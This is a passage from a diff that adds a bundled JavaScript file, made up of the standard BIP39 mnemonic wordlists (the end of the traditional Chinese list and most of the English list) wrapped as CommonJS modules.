+ "藥", + "寧", + "魯", + "貴", + "鐘", + "煤", + "讀", + "班", + "伯", + "香", + "介", + "迫", + "句", + "豐", + "培", + "握", + "蘭", + "擔", + "弦", + "蛋", + "沉", + "假", + "穿", + "執", + "答", + "樂", + "誰", + "順", + "煙", + "縮", + "徵", + "臉", + "喜", + "松", + "腳", + "困", + "異", + "免", + "背", + "星", + "福", + "買", + "染", + "井", + "概", + "慢", + "怕", + "磁", + "倍", + "祖", + "皇", + "促", + "靜", + "補", + "評", + "翻", + "肉", + "踐", + "尼", + "衣", + "寬", + "揚", + "棉", + "希", + "傷", + "操", + "垂", + "秋", + "宜", + "氫", + "套", + "督", + "振", + "架", + "亮", + "末", + "憲", + "慶", + "編", + "牛", + "觸", + "映", + "雷", + "銷", + "詩", + "座", + "居", + "抓", + "裂", + "胞", + "呼", + "娘", + "景", + "威", + "綠", + "晶", + "厚", + "盟", + "衡", + "雞", + "孫", + "延", + "危", + "膠", + "屋", + "鄉", + "臨", + "陸", + "顧", + "掉", + "呀", + "燈", + "歲", + "措", + "束", + "耐", + "劇", + "玉", + "趙", + "跳", + "哥", + "季", + "課", + "凱", + "胡", + "額", + "款", + "紹", + "卷", + "齊", + "偉", + "蒸", + "殖", + "永", + "宗", + "苗", + "川", + "爐", + "岩", + "弱", + "零", + "楊", + "奏", + "沿", + "露", + "桿", + "探", + "滑", + "鎮", + "飯", + "濃", + "航", + "懷", + "趕", + "庫", + "奪", + "伊", + "靈", + "稅", + "途", + "滅", + "賽", + "歸", + "召", + "鼓", + "播", + "盤", + "裁", + "險", + "康", + "唯", + "錄", + "菌", + "純", + "借", + "糖", + "蓋", + "橫", + "符", + "私", + "努", + "堂", + "域", + "槍", + "潤", + "幅", + "哈", + "竟", + "熟", + "蟲", + "澤", + "腦", + "壤", + "碳", + "歐", + "遍", + "側", + "寨", + "敢", + "徹", + "慮", + "斜", + "薄", + "庭", + "納", + "彈", + "飼", + "伸", + "折", + "麥", + "濕", + "暗", + "荷", + "瓦", + "塞", + "床", + "築", + "惡", + "戶", + "訪", + "塔", + "奇", + "透", + "梁", + "刀", + "旋", + "跡", + "卡", + "氯", + "遇", + "份", + "毒", + "泥", + "退", + "洗", + "擺", + "灰", + "彩", + "賣", + "耗", + "夏", + "擇", + "忙", + "銅", + "獻", + "硬", + "予", + "繁", + "圈", + "雪", + "函", + "亦", + "抽", + "篇", + "陣", + "陰", + "丁", + "尺", + "追", + "堆", + "雄", + "迎", + "泛", + "爸", + "樓", + "避", + "謀", + "噸", + "野", + "豬", + "旗", + "累", + "偏", + "典", + "館", + "索", + "秦", + "脂", + "潮", + "爺", + "豆", + "忽", + "托", + "驚", + "塑", + "遺", + "愈", + "朱", + "替", + "纖", + "粗", + "傾", + "尚", + "痛", + "楚", + "謝", + "奮", + "購", + "磨", + "君", + "池", + "旁", + "碎", + "骨", + "監", + "捕", + "弟", + "暴", + "割", + "貫", + "殊", + "釋", + "詞", + "亡", + "壁", + "頓", + "寶", + "午", + "塵", + "聞", + "揭", + "炮", + "殘", + "冬", + "橋", + "婦", + "警", + "綜", + "招", + "吳", + "付", + "浮", + "遭", + "徐", + "您", + "搖", + "谷", + "贊", + "箱", + "隔", + "訂", + "男", + "吹", + "園", + "紛", + "唐", + "敗", + "宋", + "玻", + "巨", + "耕", + "坦", + "榮", + "閉", + "灣", + "鍵", + "凡", + "駐", + "鍋", + "救", + "恩", + "剝", + "凝", + "鹼", + "齒", + "截", + "煉", + "麻", + "紡", + "禁", + "廢", + "盛", + "版", + "緩", + "淨", + "睛", + "昌", + "婚", + "涉", + "筒", + "嘴", + "插", + "岸", + "朗", + "莊", + "街", + "藏", + "姑", + "貿", + "腐", + "奴", + "啦", + "慣", + "乘", + "夥", + "恢", + "勻", + "紗", + "扎", + "辯", + "耳", + "彪", + "臣", + "億", + "璃", + "抵", + "脈", + "秀", + "薩", + "俄", + "網", + "舞", + "店", + "噴", + "縱", + "寸", + "汗", + "掛", + "洪", + "賀", + "閃", + "柬", + "爆", + "烯", + "津", + "稻", + "牆", + "軟", + "勇", + "像", + "滾", + "厘", + "蒙", + "芳", + "肯", + "坡", + "柱", + "盪", + "腿", + "儀", + "旅", + "尾", + "軋", + "冰", + "貢", + "登", + "黎", + "削", + "鑽", + "勒", + "逃", + "障", + "氨", + "郭", + "峰", + "幣", + "港", + "伏", + "軌", + "畝", + "畢", + "擦", + "莫", + "刺", + "浪", + "秘", + "援", + "株", + "健", + "售", + "股", + "島", + "甘", + "泡", + "睡", + "童", + "鑄", + "湯", + "閥", + "休", + "匯", + "舍", + "牧", + "繞", + "炸", + "哲", + "磷", + "績", + "朋", + "淡", + "尖", + "啟", + "陷", + "柴", + "呈", + "徒", + "顏", + "淚", + "稍", + "忘", + "泵", + "藍", + "拖", + "洞", + "授", + "鏡", + "辛", + "壯", + "鋒", + "貧", + "虛", + "彎", + "摩", + "泰", + "幼", + "廷", + "尊", + "窗", + "綱", + "弄", + "隸", + "疑", + "氏", + "宮", + "姐", + "震", + "瑞", + "怪", + "尤", + "琴", + "循", + "描", + "膜", + "違", + "夾", + "腰", + "緣", + "珠", + "窮", + "森", + "枝", + "竹", + "溝", + "催", + "繩", + "憶", + "邦", + "剩", + "幸", + "漿", + "欄", + "擁", + "牙", + "貯", + "禮", + "濾", + "鈉", + "紋", + "罷", + "拍", + "咱", + "喊", + "袖", + "埃", + "勤", + "罰", + "焦", + "潛", + "伍", + "墨", + "欲", + "縫", + "姓", + "刊", + "飽", + "仿", + "獎", + "鋁", + "鬼", + "麗", + "跨", + "默", + "挖", + "鏈", + "掃", + "喝", + "袋", + "炭", + "污", + "幕", + "諸", + "弧", + "勵", + "梅", + "奶", + "潔", + "災", + "舟", + "鑑", + "苯", + "訟", + "抱", + "毀", + "懂", + "寒", + "智", + "埔", + "寄", + "屆", + "躍", + "渡", + "挑", + "丹", + "艱", + "貝", + "碰", + "拔", + "爹", + "戴", + "碼", + "夢", + "芽", + "熔", + "赤", + "漁", + "哭", + "敬", + "顆", + "奔", + "鉛", + "仲", + "虎", + "稀", + "妹", + "乏", + "珍", + "申", + "桌", + "遵", + "允", + "隆", + "螺", + "倉", + "魏", + "銳", + "曉", + "氮", + "兼", + "隱", + "礙", + "赫", + "撥", + "忠", + "肅", + "缸", + "牽", + "搶", + "博", + "巧", + "殼", + "兄", + "杜", + "訊", + "誠", + "碧", + "祥", + "柯", + "頁", + "巡", + "矩", + "悲", + "灌", + "齡", + "倫", + "票", + "尋", + "桂", + "鋪", + "聖", + "恐", + "恰", + "鄭", + "趣", + "抬", + "荒", + "騰", + "貼", + "柔", + "滴", + "猛", + "闊", + "輛", + "妻", + "填", + "撤", + "儲", + "簽", + "鬧", + "擾", + "紫", + "砂", + "遞", + "戲", + "吊", + "陶", + "伐", + "餵", + "療", + "瓶", + "婆", + "撫", + "臂", + "摸", + "忍", + "蝦", + "蠟", + "鄰", + "胸", + "鞏", + "擠", + "偶", + "棄", + "槽", + "勁", + "乳", + "鄧", + "吉", + "仁", + "爛", + "磚", + "租", + "烏", + "艦", + "伴", + "瓜", + "淺", + "丙", + "暫", + "燥", + "橡", + "柳", + "迷", + "暖", + "牌", + "秧", + "膽", + "詳", + "簧", + "踏", + "瓷", + "譜", + "呆", + "賓", + "糊", + "洛", + "輝", + "憤", + "競", + "隙", + "怒", + "粘", + "乃", + "緒", + "肩", + "籍", + "敏", + "塗", + "熙", + "皆", + "偵", + "懸", + "掘", + "享", + "糾", + "醒", + "狂", + "鎖", + "淀", + "恨", + "牲", + "霸", + "爬", + "賞", + "逆", + "玩", + "陵", + "祝", + "秒", + "浙", + "貌", + "役", + "彼", + "悉", + "鴨", + "趨", + "鳳", + "晨", + "畜", + "輩", + "秩", + "卵", + "署", + "梯", + "炎", + "灘", + "棋", + "驅", + "篩", + "峽", + "冒", + "啥", + "壽", + "譯", + "浸", + "泉", + "帽", + "遲", + "矽", + "疆", + "貸", + "漏", + "稿", + "冠", + "嫩", + "脅", + "芯", + "牢", + "叛", + "蝕", + "奧", + "鳴", + "嶺", + "羊", + "憑", + "串", + "塘", + "繪", + "酵", + "融", + "盆", + "錫", + "廟", + "籌", + "凍", + "輔", + "攝", + "襲", + "筋", + "拒", + "僚", + "旱", + "鉀", + "鳥", + "漆", + "沈", + "眉", + "疏", + "添", + "棒", + "穗", + "硝", + "韓", + "逼", + "扭", + "僑", + "涼", + "挺", + "碗", + "栽", + "炒", + "杯", + "患", + "餾", + "勸", + "豪", + "遼", + "勃", + "鴻", + "旦", + "吏", + "拜", + "狗", + "埋", + "輥", + "掩", + "飲", + "搬", + "罵", + "辭", + "勾", + "扣", + "估", + "蔣", + "絨", + "霧", + "丈", + "朵", + "姆", + "擬", + "宇", + "輯", + "陝", + "雕", + "償", + "蓄", + "崇", + "剪", + "倡", + "廳", + "咬", + "駛", + "薯", + "刷", + "斥", + "番", + "賦", + "奉", + "佛", + "澆", + "漫", + "曼", + "扇", + "鈣", + "桃", + "扶", + "仔", + "返", + "俗", + "虧", + "腔", + "鞋", + "棱", + "覆", + "框", + "悄", + "叔", + "撞", + "騙", + "勘", + "旺", + "沸", + "孤", + "吐", + "孟", + "渠", + "屈", + "疾", + "妙", + "惜", + "仰", + "狠", + "脹", + "諧", + "拋", + "黴", + "桑", + "崗", + "嘛", + "衰", + "盜", + "滲", + "臟", + "賴", + "湧", + "甜", + "曹", + "閱", + "肌", + "哩", + "厲", + "烴", + "緯", + "毅", + "昨", + "偽", + "症", + "煮", + "嘆", + "釘", + "搭", + "莖", + "籠", + "酷", + "偷", + "弓", + "錐", + "恆", + "傑", + "坑", + "鼻", + "翼", + "綸", + "敘", + "獄", + "逮", + "罐", + "絡", + "棚", + "抑", + "膨", + "蔬", + "寺", + "驟", + "穆", + "冶", + "枯", + "冊", + "屍", + "凸", + "紳", + "坯", + "犧", + "焰", + "轟", + "欣", + "晉", + "瘦", + "禦", + "錠", + "錦", + "喪", + "旬", + "鍛", + "壟", + "搜", + "撲", + "邀", + "亭", + "酯", + "邁", + "舒", + "脆", + "酶", + "閒", + "憂", + "酚", + "頑", + "羽", + "漲", + "卸", + "仗", + "陪", + "闢", + "懲", + "杭", + "姚", + "肚", + "捉", + "飄", + "漂", + "昆", + "欺", + "吾", + "郎", + "烷", + "汁", + "呵", + "飾", + "蕭", + "雅", + "郵", + "遷", + "燕", + "撒", + "姻", + "赴", + "宴", + "煩", + "債", + "帳", + "斑", + "鈴", + "旨", + "醇", + "董", + "餅", + "雛", + "姿", + "拌", + "傅", + "腹", + "妥", + "揉", + "賢", + "拆", + "歪", + "葡", + "胺", + "丟", + "浩", + "徽", + "昂", + "墊", + "擋", + "覽", + "貪", + "慰", + "繳", + "汪", + "慌", + "馮", + "諾", + "姜", + "誼", + "兇", + "劣", + "誣", + "耀", + "昏", + "躺", + "盈", + "騎", + "喬", + "溪", + "叢", + "盧", + "抹", + "悶", + "諮", + "刮", + "駕", + "纜", + "悟", + "摘", + "鉺", + "擲", + "頗", + "幻", + "柄", + "惠", + "慘", + "佳", + "仇", + "臘", + "窩", + "滌", + "劍", + "瞧", + "堡", + "潑", + "蔥", + "罩", + "霍", + "撈", + "胎", + "蒼", + "濱", + "倆", + "捅", + "湘", + "砍", + "霞", + "邵", + "萄", + "瘋", + "淮", + "遂", + "熊", + "糞", + "烘", + "宿", + "檔", + "戈", + "駁", + "嫂", + "裕", + "徙", + "箭", + "捐", + "腸", + "撐", + "曬", + "辨", + "殿", + "蓮", + "攤", + "攪", + "醬", + "屏", + "疫", + "哀", + "蔡", + "堵", + "沫", + "皺", + "暢", + "疊", + "閣", + "萊", + "敲", + "轄", + "鉤", + "痕", + "壩", + "巷", + "餓", + "禍", + "丘", + "玄", + "溜", + "曰", + "邏", + "彭", + "嘗", + "卿", + "妨", + "艇", + "吞", + "韋", + "怨", + "矮", + "歇" + ]; +}); + +// node_modules/bip39/wordlists/english.json +var require_english = __commonJS((exports, module) => { + module.exports = [ + "abandon", + "ability", + "able", + "about", + "above", + "absent", + "absorb", + "abstract", + "absurd", + "abuse", + "access", + "accident", + "account", + "accuse", + "achieve", + "acid", + "acoustic", + "acquire", + "across", + "act", + "action", + "actor", + "actress", + "actual", + "adapt", + "add", + "addict", + "address", + "adjust", + "admit", + "adult", + "advance", + "advice", + "aerobic", + "affair", + "afford", + "afraid", + "again", + "age", + "agent", + "agree", + "ahead", + "aim", + "air", + "airport", + "aisle", + "alarm", + "album", + "alcohol", + "alert", + "alien", + "all", + "alley", + "allow", + "almost", + "alone", + "alpha", + "already", + "also", + "alter", + "always", + "amateur", + "amazing", + "among", + "amount", + "amused", + "analyst", + "anchor", + "ancient", + "anger", + "angle", + "angry", + "animal", + "ankle", + "announce", + "annual", + "another", + "answer", + "antenna", + "antique", + "anxiety", + "any", + "apart", + "apology", + "appear", + "apple", + "approve", + "april", + "arch", + "arctic", + "area", + "arena", + "argue", + "arm", + "armed", + "armor", + "army", + "around", + "arrange", + "arrest", + "arrive", + "arrow", + "art", + "artefact", + "artist", + "artwork", + "ask", + "aspect", + "assault", + "asset", + "assist", + "assume", + "asthma", + "athlete", + "atom", + "attack", + "attend", + "attitude", + "attract", + "auction", + "audit", + "august", + "aunt", + "author", + "auto", + "autumn", + "average", + "avocado", + "avoid", + "awake", + "aware", + "away", + "awesome", + "awful", + "awkward", + "axis", + "baby", + "bachelor", + "bacon", + "badge", + "bag", + "balance", + "balcony", + "ball", + "bamboo", + "banana", + "banner", + "bar", + "barely", + "bargain", + "barrel", + "base", + "basic", + "basket", + "battle", + "beach", + "bean", + "beauty", + "because", + "become", + "beef", + "before", + "begin", + "behave", + "behind", + "believe", + "below", + "belt", + "bench", + "benefit", + "best", + "betray", + "better", + "between", + "beyond", + "bicycle", + "bid", + "bike", + "bind", + "biology", + "bird", + "birth", + "bitter", + "black", + "blade", + "blame", + "blanket", + "blast", + "bleak", + "bless", + "blind", + "blood", + "blossom", + "blouse", + "blue", + "blur", + "blush", + "board", + "boat", + "body", + "boil", + "bomb", + "bone", + "bonus", + "book", + "boost", + "border", + "boring", + "borrow", + "boss", + "bottom", + "bounce", + "box", + "boy", + "bracket", + "brain", + "brand", + "brass", + "brave", + "bread", + "breeze", + "brick", + "bridge", + "brief", + "bright", + "bring", + "brisk", + "broccoli", + "broken", + "bronze", + "broom", + "brother", + "brown", + "brush", + "bubble", + "buddy", + "budget", + "buffalo", + "build", + "bulb", + "bulk", + "bullet", + "bundle", + "bunker", + "burden", + "burger", + "burst", + "bus", + "business", + "busy", + "butter", + "buyer", + "buzz", + "cabbage", + "cabin", + "cable", + "cactus", + "cage", + "cake", + "call", + "calm", + "camera", + "camp", + "can", + "canal", + "cancel", + "candy", + "cannon", + "canoe", + "canvas", + "canyon", + "capable", + "capital", + "captain", + "car", + "carbon", + "card", + "cargo", + "carpet", + "carry", + "cart", + "case", + "cash", + "casino", + "castle", + "casual", + "cat", + "catalog", + "catch", + "category", + "cattle", + "caught", + "cause", + "caution", + "cave", + "ceiling", + "celery", + "cement", + "census", + "century", + "cereal", + "certain", + "chair", + "chalk", + "champion", + "change", + "chaos", + "chapter", + "charge", + "chase", + "chat", + "cheap", + "check", + "cheese", + "chef", + "cherry", + "chest", + "chicken", + "chief", + "child", + "chimney", + "choice", + "choose", + "chronic", + "chuckle", + "chunk", + "churn", + "cigar", + "cinnamon", + "circle", + "citizen", + "city", + "civil", + "claim", + "clap", + "clarify", + "claw", + "clay", + "clean", + "clerk", + "clever", + "click", + "client", + "cliff", + "climb", + "clinic", + "clip", + "clock", + "clog", + "close", + "cloth", + "cloud", + "clown", + "club", + "clump", + "cluster", + "clutch", + "coach", + "coast", + "coconut", + "code", + "coffee", + "coil", + "coin", + "collect", + "color", + "column", + "combine", + "come", + "comfort", + "comic", + "common", + "company", + "concert", + "conduct", + "confirm", + "congress", + "connect", + "consider", + "control", + "convince", + "cook", + "cool", + "copper", + "copy", + "coral", + "core", + "corn", + "correct", + "cost", + "cotton", + "couch", + "country", + "couple", + "course", + "cousin", + "cover", + "coyote", + "crack", + "cradle", + "craft", + "cram", + "crane", + "crash", + "crater", + "crawl", + "crazy", + "cream", + "credit", + "creek", + "crew", + "cricket", + "crime", + "crisp", + "critic", + "crop", + "cross", + "crouch", + "crowd", + "crucial", + "cruel", + "cruise", + "crumble", + "crunch", + "crush", + "cry", + "crystal", + "cube", + "culture", + "cup", + "cupboard", + "curious", + "current", + "curtain", + "curve", + "cushion", + "custom", + "cute", + "cycle", + "dad", + "damage", + "damp", + "dance", + "danger", + "daring", + "dash", + "daughter", + "dawn", + "day", + "deal", + "debate", + "debris", + "decade", + "december", + "decide", + "decline", + "decorate", + "decrease", + "deer", + "defense", + "define", + "defy", + "degree", + "delay", + "deliver", + "demand", + "demise", + "denial", + "dentist", + "deny", + "depart", + "depend", + "deposit", + "depth", + "deputy", + "derive", + "describe", + "desert", + "design", + "desk", + "despair", + "destroy", + "detail", + "detect", + "develop", + "device", + "devote", + "diagram", + "dial", + "diamond", + "diary", + "dice", + "diesel", + "diet", + "differ", + "digital", + "dignity", + "dilemma", + "dinner", + "dinosaur", + "direct", + "dirt", + "disagree", + "discover", + "disease", + "dish", + "dismiss", + "disorder", + "display", + "distance", + "divert", + "divide", + "divorce", + "dizzy", + "doctor", + "document", + "dog", + "doll", + "dolphin", + "domain", + "donate", + "donkey", + "donor", + "door", + "dose", + "double", + "dove", + "draft", + "dragon", + "drama", + "drastic", + "draw", + "dream", + "dress", + "drift", + "drill", + "drink", + "drip", + "drive", + "drop", + "drum", + "dry", + "duck", + "dumb", + "dune", + "during", + "dust", + "dutch", + "duty", + "dwarf", + "dynamic", + "eager", + "eagle", + "early", + "earn", + "earth", + "easily", + "east", + "easy", + "echo", + "ecology", + "economy", + "edge", + "edit", + "educate", + "effort", + "egg", + "eight", + "either", + "elbow", + "elder", + "electric", + "elegant", + "element", + "elephant", + "elevator", + "elite", + "else", + "embark", + "embody", + "embrace", + "emerge", + "emotion", + "employ", + "empower", + "empty", + "enable", + "enact", + "end", + "endless", + "endorse", + "enemy", + "energy", + "enforce", + "engage", + "engine", + "enhance", + "enjoy", + "enlist", + "enough", + "enrich", + "enroll", + "ensure", + "enter", + "entire", + "entry", + "envelope", + "episode", + "equal", + "equip", + "era", + "erase", + "erode", + "erosion", + "error", + "erupt", + "escape", + "essay", + "essence", + "estate", + "eternal", + "ethics", + "evidence", + "evil", + "evoke", + "evolve", + "exact", + "example", + "excess", + "exchange", + "excite", + "exclude", + "excuse", + "execute", + "exercise", + "exhaust", + "exhibit", + "exile", + "exist", + "exit", + "exotic", + "expand", + "expect", + "expire", + "explain", + "expose", + "express", + "extend", + "extra", + "eye", + "eyebrow", + "fabric", + "face", + "faculty", + "fade", + "faint", + "faith", + "fall", + "false", + "fame", + "family", + "famous", + "fan", + "fancy", + "fantasy", + "farm", + "fashion", + "fat", + "fatal", + "father", + "fatigue", + "fault", + "favorite", + "feature", + "february", + "federal", + "fee", + "feed", + "feel", + "female", + "fence", + "festival", + "fetch", + "fever", + "few", + "fiber", + "fiction", + "field", + "figure", + "file", + "film", + "filter", + "final", + "find", + "fine", + "finger", + "finish", + "fire", + "firm", + "first", + "fiscal", + "fish", + "fit", + "fitness", + "fix", + "flag", + "flame", + "flash", + "flat", + "flavor", + "flee", + "flight", + "flip", + "float", + "flock", + "floor", + "flower", + "fluid", + "flush", + "fly", + "foam", + "focus", + "fog", + "foil", + "fold", + "follow", + "food", + "foot", + "force", + "forest", + "forget", + "fork", + "fortune", + "forum", + "forward", + "fossil", + "foster", + "found", + "fox", + "fragile", + "frame", + "frequent", + "fresh", + "friend", + "fringe", + "frog", + "front", + "frost", + "frown", + "frozen", + "fruit", + "fuel", + "fun", + "funny", + "furnace", + "fury", + "future", + "gadget", + "gain", + "galaxy", + "gallery", + "game", + "gap", + "garage", + "garbage", + "garden", + "garlic", + "garment", + "gas", + "gasp", + "gate", + "gather", + "gauge", + "gaze", + "general", + "genius", + "genre", + "gentle", + "genuine", + "gesture", + "ghost", + "giant", + "gift", + "giggle", + "ginger", + "giraffe", + "girl", + "give", + "glad", + "glance", + "glare", + "glass", + "glide", + "glimpse", + "globe", + "gloom", + "glory", + "glove", + "glow", + "glue", + "goat", + "goddess", + "gold", + "good", + "goose", + "gorilla", + "gospel", + "gossip", + "govern", + "gown", + "grab", + "grace", + "grain", + "grant", + "grape", + "grass", + "gravity", + "great", + "green", + "grid", + "grief", + "grit", + "grocery", + "group", + "grow", + "grunt", + "guard", + "guess", + "guide", + "guilt", + "guitar", + "gun", + "gym", + "habit", + "hair", + "half", + "hammer", + "hamster", + "hand", + "happy", + "harbor", + "hard", + "harsh", + "harvest", + "hat", + "have", + "hawk", + "hazard", + "head", + "health", + "heart", + "heavy", + "hedgehog", + "height", + "hello", + "helmet", + "help", + "hen", + "hero", + "hidden", + "high", + "hill", + "hint", + "hip", + "hire", + "history", + "hobby", + "hockey", + "hold", + "hole", + "holiday", + "hollow", + "home", + "honey", + "hood", + "hope", + "horn", + "horror", + "horse", + "hospital", + "host", + "hotel", + "hour", + "hover", + "hub", + "huge", + "human", + "humble", + "humor", + "hundred", + "hungry", + "hunt", + "hurdle", + "hurry", + "hurt", + "husband", + "hybrid", + "ice", + "icon", + "idea", + "identify", + "idle", + "ignore", + "ill", + "illegal", + "illness", + "image", + "imitate", + "immense", + "immune", + "impact", + "impose", + "improve", + "impulse", + "inch", + "include", + "income", + "increase", + "index", + "indicate", + "indoor", + "industry", + "infant", + "inflict", + "inform", + "inhale", + "inherit", + "initial", + "inject", + "injury", + "inmate", + "inner", + "innocent", + "input", + "inquiry", + "insane", + "insect", + "inside", + "inspire", + "install", + "intact", + "interest", + "into", + "invest", + "invite", + "involve", + "iron", + "island", + "isolate", + "issue", + "item", + "ivory", + "jacket", + "jaguar", + "jar", + "jazz", + "jealous", + "jeans", + "jelly", + "jewel", + "job", + "join", + "joke", + "journey", + "joy", + "judge", + "juice", + "jump", + "jungle", + "junior", + "junk", + "just", + "kangaroo", + "keen", + "keep", + "ketchup", + "key", + "kick", + "kid", + "kidney", + "kind", + "kingdom", + "kiss", + "kit", + "kitchen", + "kite", + "kitten", + "kiwi", + "knee", + "knife", + "knock", + "know", + "lab", + "label", + "labor", + "ladder", + "lady", + "lake", + "lamp", + "language", + "laptop", + "large", + "later", + "latin", + "laugh", + "laundry", + "lava", + "law", + "lawn", + "lawsuit", + "layer", + "lazy", + "leader", + "leaf", + "learn", + "leave", + "lecture", + "left", + "leg", + "legal", + "legend", + "leisure", + "lemon", + "lend", + "length", + "lens", + "leopard", + "lesson", + "letter", + "level", + "liar", + "liberty", + "library", + "license", + "life", + "lift", + "light", + "like", + "limb", + "limit", + "link", + "lion", + "liquid", + "list", + "little", + "live", + "lizard", + "load", + "loan", + "lobster", + "local", + "lock", + "logic", + "lonely", + "long", + "loop", + "lottery", + "loud", + "lounge", + "love", + "loyal", + "lucky", + "luggage", + "lumber", + "lunar", + "lunch", + "luxury", + "lyrics", + "machine", + "mad", + "magic", + "magnet", + "maid", + "mail", + "main", + "major", + "make", + "mammal", + "man", + "manage", + "mandate", + "mango", + "mansion", + "manual", + "maple", + "marble", + "march", + "margin", + "marine", + "market", + "marriage", + "mask", + "mass", + "master", + "match", + "material", + "math", + "matrix", + "matter", + "maximum", + "maze", + "meadow", + "mean", + "measure", + "meat", + "mechanic", + "medal", + "media", + "melody", + "melt", + "member", + "memory", + "mention", + "menu", + "mercy", + "merge", + "merit", + "merry", + "mesh", + "message", + "metal", + "method", + "middle", + "midnight", + "milk", + "million", + "mimic", + "mind", + "minimum", + "minor", + "minute", + "miracle", + "mirror", + "misery", + "miss", + "mistake", + "mix", + "mixed", + "mixture", + "mobile", + "model", + "modify", + "mom", + "moment", + "monitor", + "monkey", + "monster", + "month", + "moon", + "moral", + "more", + "morning", + "mosquito", + "mother", + "motion", + "motor", + "mountain", + "mouse", + "move", + "movie", + "much", + "muffin", + "mule", + "multiply", + "muscle", + "museum", + "mushroom", + "music", + "must", + "mutual", + "myself", + "mystery", + "myth", + "naive", + "name", + "napkin", + "narrow", + "nasty", + "nation", + "nature", + "near", + "neck", + "need", + "negative", + "neglect", + "neither", + "nephew", + "nerve", + "nest", + "net", + "network", + "neutral", + "never", + "news", + "next", + "nice", + "night", + "noble", + "noise", + "nominee", + "noodle", + "normal", + "north", + "nose", + "notable", + "note", + "nothing", + "notice", + "novel", + "now", + "nuclear", + "number", + "nurse", + "nut", + "oak", + "obey", + "object", + "oblige", + "obscure", + "observe", + "obtain", + "obvious", + "occur", + "ocean", + "october", + "odor", + "off", + "offer", + "office", + "often", + "oil", + "okay", + "old", + "olive", + "olympic", + "omit", + "once", + "one", + "onion", + "online", + "only", + "open", + "opera", + "opinion", + "oppose", + "option", + "orange", + "orbit", + "orchard", + "order", + "ordinary", + "organ", + "orient", + "original", + "orphan", + "ostrich", + "other", + "outdoor", + "outer", + "output", + "outside", + "oval", + "oven", + "over", + "own", + "owner", + "oxygen", + "oyster", + "ozone", + "pact", + "paddle", + "page", + "pair", + "palace", + "palm", + "panda", + "panel", + "panic", + "panther", + "paper", + "parade", + "parent", + "park", + "parrot", + "party", + "pass", + "patch", + "path", + "patient", + "patrol", + "pattern", + "pause", + "pave", + "payment", + "peace", + "peanut", + "pear", + "peasant", + "pelican", + "pen", + "penalty", + "pencil", + "people", + "pepper", + "perfect", + "permit", + "person", + "pet", + "phone", + "photo", + "phrase", + "physical", + "piano", + "picnic", + "picture", + "piece", + "pig", + "pigeon", + "pill", + "pilot", + "pink", + "pioneer", + "pipe", + "pistol", + "pitch", + "pizza", + "place", + "planet", + "plastic", + "plate", + "play", + "please", + "pledge", + "pluck", + "plug", + "plunge", + "poem", + "poet", + "point", + "polar", + "pole", + "police", + "pond", + "pony", + "pool", + "popular", + "portion", + "position", + "possible", + "post", + "potato", + "pottery", + "poverty", + "powder", + "power", + "practice", + "praise", + "predict", + "prefer", + "prepare", + "present", + "pretty", + "prevent", + "price", + "pride", + "primary", + "print", + "priority", + "prison", + "private", + "prize", + "problem", + "process", + "produce", + "profit", + "program", + "project", + "promote", + "proof", + "property", + "prosper", + "protect", + "proud", + "provide", + "public", + "pudding", + "pull", + "pulp", + "pulse", + "pumpkin", + "punch", + "pupil", + "puppy", + "purchase", + "purity", + "purpose", + "purse", + "push", + "put", + "puzzle", + "pyramid", + "quality", + "quantum", + "quarter", + "question", + "quick", + "quit", + "quiz", + "quote", + "rabbit", + "raccoon", + "race", + "rack", + "radar", + "radio", + "rail", + "rain", + "raise", + "rally", + "ramp", + "ranch", + "random", + "range", + "rapid", + "rare", + "rate", + "rather", + "raven", + "raw", + "razor", + "ready", + "real", + "reason", + "rebel", + "rebuild", + "recall", + "receive", + "recipe", + "record", + "recycle", + "reduce", + "reflect", + "reform", + "refuse", + "region", + "regret", + "regular", + "reject", + "relax", + "release", + "relief", + "rely", + "remain", + "remember", + "remind", + "remove", + "render", + "renew", + "rent", + "reopen", + "repair", + "repeat", + "replace", + "report", + "require", + "rescue", + "resemble", + "resist", + "resource", + "response", + "result", + "retire", + "retreat", + "return", + "reunion", + "reveal", + "review", + "reward", + "rhythm", + "rib", + "ribbon", + "rice", + "rich", + "ride", + "ridge", + "rifle", + "right", + "rigid", + "ring", + "riot", + "ripple", + "risk", + "ritual", + "rival", + "river", + "road", + "roast", + "robot", + "robust", + "rocket", + "romance", + "roof", + "rookie", + "room", + "rose", + "rotate", + "rough", + "round", + "route", + "royal", + "rubber", + "rude", + "rug", + "rule", + "run", + "runway", + "rural", + "sad", + "saddle", + "sadness", + "safe", + "sail", + "salad", + "salmon", + "salon", + "salt", + "salute", + "same", + "sample", + "sand", + "satisfy", + "satoshi", + "sauce", + "sausage", + "save", + "say", + "scale", + "scan", + "scare", + "scatter", + "scene", + "scheme", + "school", + "science", + "scissors", + "scorpion", + "scout", + "scrap", + "screen", + "script", + "scrub", + "sea", + "search", + "season", + "seat", + "second", + "secret", + "section", + "security", + "seed", + "seek", + "segment", + "select", + "sell", + "seminar", + "senior", + "sense", + "sentence", + "series", + "service", + "session", + "settle", + "setup", + "seven", + "shadow", + "shaft", + "shallow", + "share", + "shed", + "shell", + "sheriff", + "shield", + "shift", + "shine", + "ship", + "shiver", + "shock", + "shoe", + "shoot", + "shop", + "short", + "shoulder", + "shove", + "shrimp", + "shrug", + "shuffle", + "shy", + "sibling", + "sick", + "side", + "siege", + "sight", + "sign", + "silent", + "silk", + "silly", + "silver", + "similar", + "simple", + "since", + "sing", + "siren", + "sister", + "situate", + "six", + "size", + "skate", + "sketch", + "ski", + "skill", + "skin", + "skirt", + "skull", + "slab", + "slam", + "sleep", + "slender", + "slice", + "slide", + "slight", + "slim", + "slogan", + "slot", + "slow", + "slush", + "small", + "smart", + "smile", + "smoke", + "smooth", + "snack", + "snake", + "snap", + "sniff", + "snow", + "soap", + "soccer", + "social", + "sock", + "soda", + "soft", + "solar", + "soldier", + "solid", + "solution", + "solve", + "someone", + "song", + "soon", + "sorry", + "sort", + "soul", + "sound", + "soup", + "source", + "south", + "space", + "spare", + "spatial", + "spawn", + "speak", + "special", + "speed", + "spell", + "spend", + "sphere", + "spice", + "spider", + "spike", + "spin", + "spirit", + "split", + "spoil", + "sponsor", + "spoon", + "sport", + "spot", + "spray", + "spread", + "spring", + "spy", + "square", + "squeeze", + "squirrel", + "stable", + "stadium", + "staff", + "stage", + "stairs", + "stamp", + "stand", + "start", + "state", + "stay", + "steak", + "steel", + "stem", + "step", + "stereo", + "stick", + "still", + "sting", + "stock", + "stomach", + "stone", + "stool", + "story", + "stove", + "strategy", + "street", + "strike", + "strong", + "struggle", + "student", + "stuff", + "stumble", + "style", + "subject", + "submit", + "subway", + "success", + "such", + 